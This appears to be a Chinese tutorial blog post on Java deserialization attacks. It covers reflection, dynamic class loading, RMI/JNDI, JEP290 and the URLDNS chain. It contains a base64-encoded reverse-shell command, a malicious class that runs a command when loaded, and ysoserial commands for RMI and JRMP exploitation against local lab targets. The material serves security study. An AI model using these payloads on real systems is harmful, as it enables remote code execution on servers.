总字符数: 43.29K
代码: 22.57K, 文本: 7.76K
预计阅读时间: 2.20 小时
什么是序列化和反序列化
在编程语言的世界当中,常常有这样的需求,我们需要将本地已经实例化的某个对象,通过网络传递到其他机器当中.为了满足这种需求,就有了所谓的序列化和反序列化
- 序列化:将内存中的某个对象压缩成字节流的形式
- 反序列化:将字节流转化成内存中的对象
为什么会产生安全问题?
只要服务端反序列化数据,客户端传递类的readObject中代码会自动执行,给予攻击者在服务器上运行代码的能力.
可能的形式
入口类的readObject直接调用危险方法
入口类参数中包含可控类,该类有危险方法,readObject时调用
入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用
比如类型定义为Object,调用equals/hashcode/toString
相同类型 同名函数构造函数/静态代码块等类加载时隐式执行
JAVA原生反序列化漏洞成因
Java中间件通常通过网络接收客户端发送的序列化数据,而在服务端对序列化数据进行反序列化时,会调用被序列化对象的readObject()方法.而在Java中如果重写了某个类的方法,就会优先调用经过修改后的方法.如果某个对象重写了readObject()方法,且在方法中能够执行任意代码,那服务端在进行反序列化时,也会执行相应代码
Java序列化和反序列化基础
需要跳出PHP反序列化的思想在php中序列化是将对象等转换成了字符串,而在Java中则是转换成了字节流序列化/反序列化是一种思想,并不局限于其实现的形式如:
- JAVA内置的
writeObject()/readObject()
- JAVA内置的
XMLDecoder()/XMLEncoder
XStream
SnakeYaml
FastJson
Jackson
出现过漏洞的组件
- Apache Shiro
- Apache Axis
- Weblogic
- Jboss
- Fastjson
Java中的命令执行
1 | public static void main() throws Exception{ |
注意:这里的命令执行,并不是使用系统中的bash或是cmd进行的系统命令执行,而是使用JAVA本身,所以反弹shell的重定向符在JAVA中并不支持
1 | bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTI3LjAuMC4xLzU1NTUgMD4mMQ==}|{base64,-d}{bash,-i} |
编写一个可以序列化的类
在Java当中,如果一个类需要被序列化和反序列化 ,需要实现java.io.Serializable
接口
1 | /* |
我们跟进java.io.Serializable
接口,发现是一个空接口,说明其作用只是为了在序列化和反序列化中做了一个类型判断.为什么呢?因为需要遵循非必要原则,不需要反序列化的类就可以不用序列化了
1 | public interface Serializable{ |
如何序列化类
Java原生实现了一套序列化的机制,它让我们不需要额外编写代码,只需要实现java.io.Serializable
接口,并调用ObjectOutputStream
类的writeObject
方法即可
1 | /* |
跟进writeObject
函数,我们通过阅读他的注释可知:在反序列化的过程当中,是针对对象本身,而非针对类的,因为静态属性是不参与序列化和反序列化的过程的.另外,如果属性本身声明了transient
关键字,也会被忽略.但是如果某对象继承了A类,那么A类当中的对象的对象属性也是会被序列化和反序列化的(前提是A类也实现了java.io.Serializable
接口)
如何反序列化类
序列化使用ObjectOutPutStream
类,反序列化使用的则是ObjectInputStream
类的readObject
方法.我们在之前重写了readObject
方法,所以会执行命令
1 | /* |
其实反序列化的实现就是序列化的逆过程,会根据序列化读出数据的类型,进行相应的处理
serialVersionUID
序列化和反序列化可以理解为压缩和解压缩,但是压缩之所以能被解压缩的前提是因为他俩的协议是一样的.如果压缩是以四个字节为一个单位,而解压缩以八个字节为一个单位,就会乱套
同样在Java中与协议相对的概念为:serialVersionUID
当serialVersionUID不一致时,反序列化会直接抛出异常
比如设置为1L时序列化,修改为2L时反序列化,则会抛出异常
跟进代码可以发现,针对序列化数据中的serialVersionUID和实际获取到类的serialVersionUID进行了判断,如果不相等则抛出异常
Java反射
将类的各个组成部分封装为其他对象,这就是反射机制
反射的作用
让Java具有动态性
- 修改已有对象的属性
- 动态生成对象
- 动态调用方法
- 操作内部类和私有方法
- 解耦,提高程序的可扩展性
在反序列化漏洞中的应用
- 定制需要的对象
- 通过invoke调用除了同名函数以外的函数
- 通过Class类创建对象,引入不能序列化的类
获取字节码Class对象的三种方式
Source
源代码阶段:Class.forName("全类名");
将字节码文件加载进内存,返回Class对象
多用于配置文件,可以将类名定义在配置文件中,读取文件,加载类Class
类对象阶段:类名.class
通过类名的属性class来获取
多用于参数的传递Runtime
运行时阶段:对象.getClass
getClass()方法在Object类中定义着
多用于对象的获取字节码的方式
*同一个字节码文件(.class)在一次程序运行过程中,只会被加载一次,不论通过哪一种方式获取的Class对象都是同一个 **
Class对象
Field
获取成员变量们
Field[] fields = getFields()
获取所有public
修饰的成员变量Field field = getField(String name)
获取所有public
修饰的成员变量Field[] fields = getDeclaredFields()
获取所有的成员变量Field field = getDeclaredField(String name)
获取所有的成员变量- 操作
- 获取值:
get(Object obj)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19package serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
public class ReflectionTest {
public static void main(String[] args) throws Exception {
Class cls = Class.forName("serializable.Person");
//当我不想 newInstance初始化的时候执行空参数的构造函数的时候
//可以通过字节码文件对象方式 getConstructor(paramterTypes) 获取到该构造函数
//获取到Person(String name,int age) 构造函数
// 从class里面实例化对象
Constructor personconstructor = cls.getConstructor(String.class,int.class);
//通过构造器对象 newInstance 方法对对象进行初始化 有参数构造函数
Person p = (Person) personconstructor.newInstance("abc",22);
Field name = cls.getField("name");
System.out.println(name.get(p));
}
}- 私有的会访问异常,需要在访问之前忽略访问权限修饰符的安全检查
- 获取值:
1 | Field age = cls.getDeclaredField("age"); |
- 设置值:
void set(Object obj,Object value)
1
2name.set(p,"张三");
System.out.println(p);
Constructor
获取构造方法们
Constructor<?>[] = getConstructors()
Constructor<T> = getConstructor(类<?>...parameterTypes)
- Constructor:构造方法
newInstance(Object... initargs)
:创建对象Person p = (Person) personconstructor.newInstance("abc",22);
1
2Constructor personconstructor = cls.getConstructor(String.class,int.class);
System.out.println(personconstructor);如果使用空参构造方法创建对象,操作可以简化:Class对象的
newInstance
- Constructor:构造方法
1 | Class cls = Class.forName("serializable.Person"); |
Constructor<?>[] = getDeclaredConstructors()
Constructor<T> = getDeclaredConstructor(类<?>...parameterTypes)
Method
获取成员方法们
Method[] = getMethods()
Method = getMethod(类<?>...parameterTypes)
1
2
3
4
5
6Class cls = Class.forName("serializable.Person");
// 获取指定名称
Method eat_method = cls.getMethod("eat");
Object p = cls.newInstance();
// 执行方法
eat_method.invoke(p);Method[] = getDeclaredMethods()
Method = getDeclaredMethod(类<?>...parameterTypes)
获取方法名称:
String getName
1
2
3
4
5Class cls = Class.forName("serializable.Person");
Method[] methods = cls.getMethods();
for (Method method:methods){
System.out.println(method.getName());
}
获取类名
String name = getName()
1
2
3Class cls = Class.forName("serializable.Person");
String className = cls.getName();
System.out.println(className);
案例
写一个”框架”,可以帮我们创建任意类的对象,并且执行其中任意方法
1 | /* |
pro.properties:
1 | className=serializable.Person |
Java代理
定义:为其他对象提供一种代理以控制对这个对象的访问
代理模式是一种设计模式,可以在不修改被代理对象的基础上,通过扩展代理类,进行一些功能的附加与增强,之得注意的是:代理类和被代理类应该共同实现一个接口,或者是共同继承某个类
优点:
- 职责清晰
- 高扩展,只要实现了接口,都可以使用代理
- 智能化,动态代理、
分类
- 静态代理
- 动态代理
代理常用与记录日志的环境,比如在代理中实现各种日志的记录
静态代理
我们现在有一个接口:IUser``IUser.java
:
1 | /* |
然后Userlmpl.java
实现这个接口
1 | /* |
假设我们现在要做一件事,就是在所有的实现类调用show()
后增加一行输出调用了UserProxy中的show
,那我们只需要编写代理类UserProxy
1 | /* |
ProxyTest.java
1 | /* |
这种模式虽然好理解,但是缺点也很明显:
- 会存在大量的冗余的代理类,这里演示了1个接口,如果有10个接口,就必须定义10个代理类.
- 不易维护,一旦接口更改,代理类和目标类都需要更改.
动态代理
JDK动态代理,通俗点说就是:无需声明式的创建java代理类,而是在运行过程中生成”虚拟”的代理类,被ClassLoader加载.从而避免了静态代理那样需要声明大量的代理类.
JDK从1.3版本就开始支持动态代理类的创建.主要核心类只有2个:
java.lang.reflect.Proxy
和java.lang.reflect.InvocationHandler
.
- JDK动态代理采用接口代理的模式,代理对象只能赋值给接口,允许多个接口
还是前面那个例子,用动态代理类去实现的代码如下:Userlmpl.java
1 | /* |
UserInvocationHandler.java
1 | /* |
ProxyTest.java
1 | /* |
Java类的动态加载
类加载,即虚拟机加载.class文件.什么时候虚拟机需要开始加载一个类呢?虚拟机对此没有规范约束,交给虚拟机把握. 类加载,即虚拟机加载.class文件.什么时候虚拟机需要开始加载一个类呢?虚拟机对此没有规范约束,交给虚拟机把握.
类加载的时候会执行代码
- 初始化:静态代码块
- 实例化:构造代码块、无参数构造函数
Javac原理
javac是用于将源码文件.java编译成对应的字节码文件.class.其步骤是:源码–>词法分析器组件(生成token流)–>语法分析器组件(语法树)–>语义分析器组件(注解语法树)–>代码生成器组件(字节码)
类加载过程
先在方法区找class信息,有的话直接调用,没有的话则使用类加载器加载到方法区(静态成员放在静态区,非静态成功放在非静态区),静态代码块在类加载时自动执行代码,非静态的不执行;先父类后子类,先静态后非静态;静态方法和非静态方法都是被动调用,即不调用就不执行.
类加载的流程图
1 | /* |
动态类加载方法
类加载可以加载任意方法,但是反射只能反射公共的
Class.forname
1 | package load_class; |
1 | /* |
ClassLoader
1 | /* |
漏洞利用相关类
URLClassLoader
URLClassLoader
:输入一个URL,从URL内加载一个类出来
构造一个恶意类
1
2
3
4
5
6
7
8
9
10
11import java.io.IOException;
public class Hello {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}javac .\Hello.java
然后将Hello.java
删除或者移动到其他目录编译动态加载类
defineClass
defineClass
是一个protected
,所以只能通过反射调用,字节码任意加载类构造恶意类:Hello.java
1 | /* |
动态加载:LoadClass.java
1 | ClassLoader cl = ClassLoader.getSystemClassLoader(); |
Unsafe
Unsafe
中也含有defineClass
字节码任意加载类
1 | /* |
Map集合
集合又称容器,是Java中对数据结构(数据存储方式)的具体实现我们可以利用集合存放数据,也可对集合进行新增、删除、修改、查看等操作集合中数据都是在内存中,当程序关闭或重启后集合中数据会丢失 .所以集合是一种临时存储数据的容器
Map集合类型
- Map
- 特点
- Map集合是一个双列集合,一个元素包含两个值(一个key,一个value)
- Map集合中的元素,key和value的数据类型可以相同,也可以不同
- Map集合中的元素,key是不允许重复的,value是可以重复的
- Map集合中的元素,key和value是一一对应的
- 特点
- HashMap
- 采用Hashtable哈希表存储结构(神奇的结构)
- 优点:添加速度快、查询速度快、删除速度快
- 缺点:key无序
- LinkedHashMap
- 采用哈希表存储结构,同时使用链表维护次序
- key有序(添加顺序)
- TreeMap
- 采用二叉树(红黑树)的存储结构
- 优点:key有序 查询速度比List快(按照内容查询)
- 缺点:查询速度没有HashMap快
Map接口
- 接口Map是独立的接口,和Collection没有关系Map中每个元素都是Entry类型,每个元素都包含Key(键)和Value(值)
- 继承关系Ctrl+H
- 包含的APIAlt+7
Map使用
1 | /* |
Entry键值对对象
我们已经知道,Map中存放的是两种对象,一种称为key(键),一种称为value(值),它们在Map中是一对应关系,这一对对象又称做Map中的一个Entry(项).Entry 将键值对的对应关系封装成了对象.即键值对对象,这样我们在遍历Map集合时,就可以从每一个键值对 ( Entry ) 对象中获取对应的键与对应的值既然Entry表示了一对键和值,那么也同样提供了获取对应键和对应值得方法:
- public K getKey():获取Entry对象中的键
- public V getValue():获取Entry对象中的值
在Map集合中也提供了获取所有Entry对象的方法:
- public Set<Map.Entry<K,V>> entrySet():获取到Map集合中所有的键值对对象的集合(Set集合)
设定值
- setValue(V value)
- 用指定的值替换与该条目对应的值(可选操作)(写入映射.)如果映射已经从映射中删除(通过迭代器的删除操作),则此调用的行为是未定义的.
- 参数:value- 要存储在此条目中的新值
- return:对应条目的旧值
前置知识
利用链
利用链是什么:
- 入口点Source+中间经过的类方法gadget+执行点Sink
RMI/JRMP/JNDI
RMI(Remote Method Invocation)
能够让程序员开发出基于Java的分布式应用.一个RMI对象是一个远程Java对象,可以从另一个Java虚拟机上(甚至跨过网络)调用他的方法,可以像调用本地Java对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样
一台机器想要执行另一台机器上的java代码
例如:
我们使用浏览器对一个http协议实现的接口进行调用,这个接口调用过程我们可以称为`Interface Invocation`,而RMI的概念与之非常相似,只不过RMI调用的是一个Java方法,而浏览器调用的是一个http接口.并且Java中封装了RMI的一系列定义
Server—>告诉注册中心Client—>根据名字和注册中心要端口
Registry翻译一下就是注册处,其实本质就是一个map(hashtable),注册着许多Name到对象的绑定关系,用于客户端查询要调用的方法的引用.
注册中心约定端口:1099
Registry的作用就好像是病人(客户端)看病之前的挂号(获取远程对象的IP、端口、标识符),知道医生(服务端)在哪个门诊,再去看病(执行远程方法)
RMI底层通讯采用了Stub(运行在客户端)和Skeleton(运行在服务端)机制,RMI调用远程的方法大致如下:整个过程会进行两次TCP连接:
- Client获取这个Name和对象的绑定关系
- RMI客户端在调用远程方法时会先创建
Stub(sun.rmi.registry.Registrylmpl Stub)
- Stub会将Remote对象传递给远程引用层
java.rmi.server.RemoteRef
并创建java.rmi.server.RemoteCall
(远程调用)对象. - RemoteCall序列化RMI服务名称、Remote对象.
- RMI客户端的远程引用层传输RemoteCall序列化后的请求信息通过Socket连接的方式传输到RMI服务端的远程引用层.
- RMI服务端的远程引用层
sun.rmi.server.UnicastServerRef
收到请求会请求传递给Skeleton(sun.rmi.registry.Registrylmpl_Skel#dispatch)
- Skeleton调用RemoteCall反序列化RMI客户端传过来的序列化.
- Skeleton处理客户端请求: bind、 list、 lookup、 rebind、 unbind, 如果是lookup则查找RMI服务名绑定的接口对象,序列化该对象并通过RemoteCall传输到客户端.
- RMI客户端在调用远程方法时会先创建
- 再去连接Server并调用远程方法
- RMI客户端反序列化服务端结果,获取远程对象的引用
- RMI客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端
- RMI客户端反序列化RMI远程方法调用结果
**危险的点:**如果服务端没有我想调用的对象->RMI允许服务端从远程服务器进行远程URL动态类加载对象调用:从网络通信到内存操作,有一个对象的创建到调用的过程–>在JAVA中使用序列化和反序列化来实现
JRMP(Remote Method Protocol)
通俗点解释:它就是一个协议,一个在TCP/IP之上的线路层协议,一个RMI的过程,是用到JRMP这个协议去组织数据格式然后通过TCP进行传输,从而达到RMI,也就是远程方法调用、
JNDI(Naming and Directory Interface)
Java命名和目录接口,既然是接口,那必定就有实现,而目前我们Java中使用最多的基本就是RMI和LDAP的目录服务系统.
而命名的意思就是,在一个目录系统,它实现了把一个服务名称和对象或命名引用相关联,在客户端,我们可以调用目录系统服务,并根据服务名称查询到相关联的对象或命名引用,然后返回给客户端.而目录的意思就是在命名的基础上,增加了属性的概念,我们可以想象一个文件目录中,每个文件和目录都会存在着一些属性,比如创建时间、读写执行权限等等,并且我们可以通过这些相关属性筛选出相应的文件和目录.而JNDI中的目录服务中的属性大概也与之相似,因此,我们就能在使用服务名称以外,通过一些关联属性查找到对应的对象
总结的来说:JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,我们能通过名称等去找到相关的对象,并把它下载到客户端中来.
还是前面所说的例子,我们在使用浏览器进行访问一个网络上的接口时,它和服务器之间的数据传输以及数据格式的组织,使用到基于TCP/IP之上的HTTP协议,只有通过HTTP协议,浏览器和服务端约定好的一个协议,他们之间才能正常的交流通讯,而JRMP也是一个与之相似的协议,只能JRMP这个协议仅用于Java RMI中
JJEP(JAVA Enhancement proposa)
JEP290是Java为了防御反序列化攻击而设置的一种过滤器,其在JEP项目中编号为290,因而通常被简称为JEP290
- 黑白名单结合对反序列化的类进行检测,需要注意的是因为UnicastRef类在白名单内,JRMP客户端的payload可以用来连恶意的服务端
- 检测反序列化链的深度
- 在RMI过程中提供了调用对象提供了一个验证类的机制
- 过滤内容可被配置
JEP290需要手动设置,只有设置了之后才会有过滤,没有设置的话还是可以正常的反序列化漏洞利用JEP290默认只为RMI注册表(RMI Register层)、RMI分布式垃圾收集器(DGC层)以及JMX提供了相应的内置过滤器Bypass JEP290 的关键在于:通过反序列化将Registry变为JRMP客户端,向JRMPListener发起JRMP请求.(8u121-8u240)
二次反序列化思维导图:
URLDNS链
URLDNS链是java原生态的一条利用链, 通常用于存在反序列化漏洞进行验证的,因为是原生态,不存在什么版本限制.HashMap结合URL触发DNS检查的思路.在实际过程中可以首先通过这个去判断服务器是否使用了readObject()以及能否执行.之后再用各种gadget去尝试RCE.HashMap最早出现在JDK 1.2中, 底层基于散列算法实现.而正是因为在HashMap中,Entry的存放位置是根据Key的Hash值来计算,然后存放到数组中的.所以对于同一个Key, 在不同的JVM实现中计算得出的Hash值可能是不同的.因此,HashMap实现了自己的writeObject和readObject方法.
HashMap
对于HashMap
这个类来说,他重载了readObject
函数,在重载的逻辑中,我们可以看到他重新计算了key
的Hash
跟进
hash
函数,我们可以看到,它调用了key
的hashcode
函数,因此,如果要构造一条反序列化链条,我们需要找到实现了hashcode
函数且传参可控,并且可被我们利用的类,那么可以被我们利用的类就是下面的URLDNS
URLDNS
找到URLStreamHandler
这个抽象类,查看它的hashcode
实现,调用了getHostAddress
函数,传参可控
查看
getHostAddress
函数,可以发现它进行了DNS查询,将域名转换为实际的IP地址1 | /* |
总结
- 首先找到Sink:发起DNS请求的URL类hashCode方法
- 看谁能调用URL类的hashCode方法(找gadget),发现HashMap行(他重写了hashCode方法,执行了Map里面key的hashCode方法,HashMap而key的类型可以是URL类),而且HashMap的readObject方法直接调用了hashCode方法
- EXP的思路就是创建一个HashMap,往里面丢一个URL当key,然后序列化它
- 在反序列化的时候自然就会执行HashMap的readObject->hashCode->URL的hashCode->DNS请求
ysoserial使用
1 | java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections1 calc.exe > ser.bin |
下载源码包,使用idea编译,项目地址:https://github.com/frohoff/ysoserial
使用idea打开源码包
设置maven为国内源
点击maven->点击扳手->点击maven Settings->User settings file->勾选Override
settings.xml内容为:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<settings xmlns="http://maven.apache.org/SETTINGS/1.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.0.0 http://maven.apache.org/xsd/settings-1.0.0.xsd">
<mirrors>
<!-- 阿里云仓库 -->
<mirror>
<id>alimaven</id>
<mirrorOf>central</mirrorOf>
<name>aliyun maven</name>
<url>http://maven.aliyun.com/nexus/content/repositories/central/</url>
</mirror>
<!-- 中央仓库1 -->
<mirror>
<id>repo1</id>
<mirrorOf>central</mirrorOf>
<name>Human Readable Name for this Mirror.</name>
<url>http://repo1.maven.org/maven2/</url>
</mirror>
<!-- 中央仓库2 -->
<mirror>
<id>repo2</id>
<mirrorOf>central</mirrorOf>
<name>Human Readable Name for this Mirror.</name>
<url>http://repo2.maven.org/maven2/</url>
</mirror>
</mirrors>
</settings>点击apply->OK
点击刷新按钮,等待下载依赖
点击小锤子,构建项目,如果出现报错:
java: 程序包sun.rmi.server不存在
和java: 程序包sun.rmi.transport不存在
可以不用管编译项目点击M命令行输入:
mvn clean package -DskipTests
编译完成
URLDNS利用
- 打开前面写的
Dnstest.java
将代码中的dnslog换为自己的,然后序列化恶意数据 - 反序列化恶意数据,然后dnslog中会显示请求内容
RMIRegistryExploit利用
- 打开环境中的
RMIServer.java
右键运行 - 使用ysoserial攻击
1
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections1 "calc"
JRMPClient利用
- 打开环境中的
RMIServer.java
右键运行 - 使用
ysoserial
攻击
JRMPListener利用
生成反序列化数据
1
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient 127.0.0.1:6666 > jrmp.bin
启动JRMP
1
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections6 "calc"
反序列化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17package com.chaitin;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class Unserialization {
public static Object unserialize(String fileName) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
unserialize("jrmp.bin");
}
}